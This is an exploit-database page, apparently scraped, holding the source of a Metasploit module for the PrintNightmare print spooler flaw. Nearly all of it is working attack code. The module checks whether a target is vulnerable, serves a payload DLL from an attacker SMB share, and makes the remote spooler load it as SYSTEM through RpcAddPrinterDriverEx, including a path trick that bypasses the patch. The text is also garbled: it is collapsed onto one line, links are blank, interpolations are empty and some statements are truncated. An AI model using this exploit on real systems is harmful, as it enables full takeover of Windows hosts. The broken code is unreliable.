Print Spooler Remote DLL Injection

Risk: Medium
Local: No
Remote: Yes

## # This module requires Metasploit: # Current source: ## require 'windows_error' require 'ruby_smb' require 'ruby_smb/error' class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::SMB::Server::Share include Msf::Exploit::Retry include Msf::Exploit::EXE include Msf::Exploit::Deprecated moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare' PrintSystem = RubySMB::Dcerpc::PrintSystem def initialize(info = {}) super( update_info( info, 'Name' => 'Print Spooler Remote DLL Injection', 'Description' => %q{ The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running. }, 'Author' => [ 'Zhiniang Peng', # vulnerability discovery / research 'Xuefeng Li', # vulnerability discovery / research 'Zhipeng Huo', # vulnerability discovery 'Piotr Madej', # vulnerability discovery 'Zhang Yunhai', # vulnerability discovery 'cube0x0', # PoC 'Spencer McIntyre', # metasploit module 'Christophe De La Fuente', # metasploit module co-author ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'SRVHOST' => Rex::Socket.source_address }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => [ ARCH_X64, ARCH_X86 ] }, ], ], 'DisclosureDate' => '2021-06-08', 'References' => [ ['CVE', '2021-1675'], ['CVE', '2021-34527'], ['URL', ''], ['URL', ''], ['URL', ''], ['URL', ''] ], 'Notes' => { 'AKA' => [ 'PrintNightmare' ], 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [UNRELIABLE_SESSION], 'SideEffects' => [ ARTIFACTS_ON_DISK # the dll will be copied to the remote server ] } ) ) register_advanced_options( ['ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ]) ] ) deregister_options('AutoCheck') end def check begin connect(backend: :ruby_smb) rescue Rex::ConnectionError return Exploit::CheckCode::Unknown('Failed to connect to the remote service.') end begin smb_login rescue Rex::Proto::SMB::Exceptions::LoginError return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.') end begin dcerpc_bind_spoolss rescue RubySMB::Error::UnexpectedStatusCode => e nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND print_error("The 'Print Spooler' service is disabled.") end return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{} (#{nt_status.description}).") end @target_arch = dcerpc_getarch # see: if @target_arch == ARCH_X64 @environment = 'Windows x64' elsif @target_arch == ARCH_X86 @environment = 'Windows NT x86' else return Exploit::CheckCode::Detected('Successfully bound to the remote service.') end print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})") print_status('Enumerating the installed printer drivers...') drivers = enum_printer_drivers(@environment) @driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL" vprint_status("Using driver path: #{@driver_path}") print_status('Retrieving the path of the printer driver directory...') @config_directory = get_printer_driver_directory(@environment) vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil? container = driver_container( p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: "\\??\\UNC\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll" ) case add_printer_driver_ex(container) when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.') when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.') when ::WindowsError::Win32::ERROR_BAD_NET_NAME return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.') when ::WindowsError::Win32::ERROR_ACCESS_DENIED return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.') end Exploit::CheckCode::Detected('Successfully bound to the remote service.') end def run fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil? fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil? super end def setup if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') end super end def start_service file_name << '.dll' self.file_contents = generate_payload_dll super end def primer dll_path = unc if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/ # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass # otherwise the operation will fail with ERROR_INVALID_PARAMETER dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}" end vprint_status("Using DLL path: #{dll_path}") filename = dll_path.rpartition('\\').last container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path) 3.times do add_printer_driver_ex(container) end 1.upto(3) do |directory| container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}") break if add_printer_driver_ex(container).nil? end cleanup_service end def driver_container(**kwargs) level: 2, tag: 2, driver_info: c_version: 3, p_name_ref_id: 0x00020000, p_environment_ref_id: 0x00020004, p_driver_path_ref_id: 0x00020008, p_data_file_ref_id: 0x0002000c, p_config_file_ref_id: 0x00020010, # p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}", p_environment: @environment, p_driver_path: @driver_path, **kwargs ) ) end def dcerpc_bind_spoolss handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss']) vprint_status("Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("Bound to #{handle} ...") end def enum_printer_drivers(environment) response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2) response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed) fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length end def get_printer_driver_directory(environment) response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2) response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed) fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length'ASCII-8BIT') end def add_printer_driver_ex(container) flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES begin response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags) rescue RubySMB::Error::UnexpectedStatusCode => e nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first message = "Error #{} (#{nt_status.description})" if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected print_status('The named pipe connection was broken, reconnecting...') reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do dcerpc_bind_spoolss rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e false else true end unless reconnected vprint_status('Failed to reconnect to the named pipe.') return nil end print_status('Successfully reconnected to the named pipe.') retry else print_error(message) end return nt_status end error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first message = "RpcAddPrinterDriverEx response #{response.error_status}" message << " #{} (#{error.description})" unless error.nil? vprint_status(message) error end def rprn_call(name, **kwargs) request = PrintSystem.const_get("#{name}Request").new(**kwargs) begin raw_response =, request.to_binary_s) rescue Rex::Proto::DCERPC::Exceptions::Fault => e fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).") end PrintSystem.const_get("#{name}Response").read(raw_response) end class DriverInfo2Header < BinData::Record endian :little uint32 :c_version uint32 :name_offset uint32 :environment_offset uint32 :driver_path_offset uint32 :data_file_offset uint32 :config_file_offset end # this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2 # see: DriverInfo2 =, :name, :environment, :driver_path, :data_file, :config_file) do def header = new( header,[header.name_offset..]).encode('ASCII-8BIT'),[header.environment_offset..]).encode('ASCII-8BIT'),[header.driver_path_offset..]).encode('ASCII-8BIT'),[header.data_file_offset..]).encode('ASCII-8BIT'),[header.config_file_offset..]).encode('ASCII-8BIT') ) end end end

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